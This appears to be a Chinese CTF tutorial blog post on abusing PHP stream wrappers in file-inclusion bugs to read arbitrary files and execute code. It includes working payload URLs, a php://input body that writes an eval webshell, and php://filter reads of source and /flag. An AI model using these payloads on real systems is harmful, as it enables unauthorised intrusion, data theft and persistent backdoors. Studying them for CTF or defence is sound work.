php伪协议实现命令执行,任意文件读取
参考链接:PHP伪协议总结 - SegmentFault 思否
目录
1.file://协议
条件:
作用:
说明:
用法
示例:
2.php://协议
条件
作用:
说明
php://filter使用
php://input的使用
3.data://协议
作用:
用法
4.zip:// & bzip:// & zlib:// 协议
作用:
示例:
总结
总结
在ctf中常用的有data:// , php://input , php://filter ,file://
php://input ,data://用来执行命令1.php://input 的用法
http://127.0.0.1/include.php?file=php://input
[POST DATA部分]
<?php phpinfo(); ?>2.data://用法
http://127.0.0.1/include.php?file=data://text/plain,<?php%20phpinfo();?>php://filter,file://用来读取文件3.php://filter用法
http://127.0.0.1/include.php?file=php://filter/read=convert.base64-encode/resource=phpinfo.php(读取php文件需要先加密以下才能读出来,并且拿到的源码需要进行base64解码下)
http://127.0.0.1/include.php?file=php://filter/resource=/flag
4.file://用法
http://127.0.0.1/include.php?file=file://E:\phpStudy\PHPTutorial\WWW\phpinfo.txt
1.file://协议
条件:
allow_url_fopen : off/on
allow_url_include: off/on
作用:
用于访问本地文件系统,在ctf中通常用来读取本地文件
在include() / require() / include_once() / require_once() 参数可控的情况下,即使导入非.php文件,如shell.txt ,依然按照php语法进行解析,这是include()函数所决定的
说明:
file:// 文件系统是php使用的默认封装协议,用于展示本地文件系统。
用法
/path/to/file.ext
relative/path/to/file.ext
fileInCwd.ext
C:/path/to/winfile.ext
C:\path\to\winfile.ext
\\smbserver\share\path\to\winfile.ext
file:///path/to/file.ext
示例:
1.file://[文件的绝对路径和文件名]
http://127.0.0.1/include.php?file=file://E:\phpStudy\PHPTutorial\WWW\phpinfo.txt
2.file://[文件的相对路径和文件名]
http://127.0.0.1/include.php?file=./phpinfo.txt
3.http://网络位置和文件名
http://127.0.0.1/include.php?file=http://127.0.0.1/phpinfo.txt
2.php://协议
条件
allow_url_open : off/on
allow_url_include: 仅 php://input php://stdin php://memory php://temp 需要on
作用:
php:// 访问各个输入/输出流 (I/O streams), 在ctf中经常使用的是 php://filter 和 php://input
php://filter 用于读取源码
php://input 用于执行php代码
说明
php提供了一些杂项输入/输出(IO)流,允许访问 PHP 的输入输出流,标准输入输出流和错误描述符
php://filter使用
php://filter/read=convert.base64-encode/resource=[文件名]
php://input的使用
http://127.0.0.1/include.php?file=php://input[POST DATA部分]
<?php phpinfo(); ?>
写入一句话木马
http://127.0.0.1/include.php?file=php://input
[POST DATA部分]
<?php fputs(fopen('1juhua.php','w'),'<?php @eval($_GET[cmd]); ?>'); ?>
3.data://协议
作用:
php>=5.2.0 , 可以使用data://数据流封装器,以传递相应格式的数据。通常用来执行php代码
用法
data://text/plain, ???
如
http://127.0.0.1/include.php?file=data://text/plain,<?php%20phpinfo();?>
4.zip:// & bzip:// & zlib:// 协议
作用:
zip:// & bzip:// & zlib:// 均属于压缩流,可以访问压缩文件中的子文件,更重要的是不需要指定后缀名,可以修改为任意后缀名,如 jpg,png,gif,xxx等
示例:
1.zip://[压缩文件绝对路径]%23[压缩文件内的子文件文件名](# 的编码为 %23)
压缩 phpinfo.txt 为phpinfo.zip ,压缩包重命名为 phpinfo.jpg ,并上传
http://127.0.0.1/include.php?file=zip://E:\phpStudy\PHPTutorial\WWW\phpinfo.jpg%23phpinfo.txt
2.compress.bzip2://file.bz2
压缩phpinfo.txt 为phpinfo.bz2 并上传(同样支持任意后缀名)
http://127.0.0.1/include.php?file=compress.bzip2://E:\phpStudy\PHPTutorial\WWW\phpinfo.bz2
3.compress.zlib://file.gz
压缩phpinfo.txt 为phpinfo.gz 并上传(支持任意后缀名)
http://127.0.0.1/include.php?file=compress.zlib://E:\phpStudy\PHPTutorial\WWW\phpinfo.gz
php伪协议实现命令执行,任意文件读取相关推荐
- php mail执行命令,PHPMailer 命令执行 任意文件读取漏洞利用 【含POC】
PHPMailer 命令执行漏洞(CVE-2016-10033) 漏洞编号:CVE-2016-10033 影响版本:PHPMailer< 5.2.18 漏洞级别: 高危 漏洞POC: PHPMa ...
- php伪协议实现命令执行的七种姿势
文件包含函数:include.require.include_once.require_once.highlight_file .show_source .readfile .file_get_con ...
- 一、WillPHPv2代码审计-[变量覆盖]-[文件包含]-[任意文件读取漏洞]-[pearcmd裸文件包含]
时间戳--2021.12.12 0x01 [HXBCTF 2021]easywill_WriteUp: 一.PHPSTORM框架调试 第一步:登录buuctf,打开[HXBCTF 2021]easyw ...
- CVE-2020-1938 幽灵猫( GhostCat ) Tomcat-Ajp协议 任意文件读取/JSP文件包含漏洞分析
title: CVE-2020-1938 幽灵猫( GhostCat ) Tomcat-Ajp协议 任意文件读取/JSP文件包含漏洞分析 date: 2021-05-19 01:07:08 categ ...
- 利用批处理命令执行.jar文件
利用批处理命令执行.jar文件 1.创建.jar文件(此处为一个java项目,主函数里只有一条语句System.out.println("请输入一个字符串:");) 2.创建批处理 ...
- 任意文件读取漏洞知识梳理
文章目录 1.概述 2.开发语言触发点 2.1 PHP 2.2 Python 2.3 Java 2.4 Ruby 2.5 Node 3.中间件/服务器相关触发点 3.1 Nginx错误配置 3.2 数 ...
- 读取txt原理_Mysql客户端任意文件读取学习
前言 最近打了 DDCTF和 国赛,发现都考了一个知识点,也就是 MysqlLocalInfile客户端文件读取这个漏洞,下面来详细的学习一个这个漏洞. 漏洞形成原因 此漏洞形成的主要原因在于 LOA ...
- python文件审计系统_Python代码审计实战案例总结之CRLF和任意文件读取
介绍 Python代码审计方法多种多样,但是总而言之是根据前人思路的迁移融合扩展而形成.目前Python代码审计思路,呈现分散和多样的趋势.Python微薄研发经验以及结合实际遇到的思路和技巧进行总结 ...
- python文件审计_Python代码审计实战案例总结之CRLF和任意文件读取
文章目录 介绍 CRLF和任意文件读取的审计实战 CRLF 审计实战 urllib CRLF漏洞(CVE-2019-9740和CVE-2019-9947) httplib CRLF 漏洞 任意文件读取 ...
最新文章
- 利用基于GPU的AI模拟一个现实宇宙 仅需36分钟
- mysql重置密码以及授予权限
- 从零开始攻略PHP(8)——面向对象(下)
- .java文件_【转】java文件操作大全
- nodejs+kafka+storm+hbase 开发
- Shiro Shiro Web Support and EnvironmentLoaderListener
- Cisco Nexus-1000v授权
- 数据挖掘与其商务智能上的应用的实验报告
- 下周把交接文档做完就交接实习结束离职了
- 酒店管理系统(功能结构图、流程图)
- 前端应届简历应该怎么写?
- 界面设计基础之基本窗口
- c语言成绩报告单评语,期末成绩报告单评语
- APP登录功能的Java服务端开发
- 通达OA:2015年注定是不平凡的一年
- 【Vue】16.vue项目里引入百度统计
- R语言数据可视化——图形色彩设计(调色盘)
- 字节跳动青训营笔试题解
- Qt下对软件试用期以及使用次数设置的一次探索
- 瓜子理论-来自子游的博客
热门文章
- 邮件服务器zimbra的搭建与使用
- 卡罗拉 (COROLLA) - 开启引擎盖
- 【力扣周赛】第349场周赛
- 学会如何学习,是一项终极生存技能
- 没有乔布斯的MacWorld :8个瞬间
- 策略死守“传统数据”招招落于人后?-也许您需要另类数据
- 记录一次rpmbuild打包报错,错误码error: Bad exit status from /var/tmp/rpm-tmp.aP0jov (%install)
- GQ1b(NH4+盐)说明书
- 【codecombat】 试玩全攻略 第六关 cell commentary
- matlab如何循时将上一次运行出的结果带入下一次的运算,关于怎么把 for的上一次计算结果代入下一次循环的初始值问题...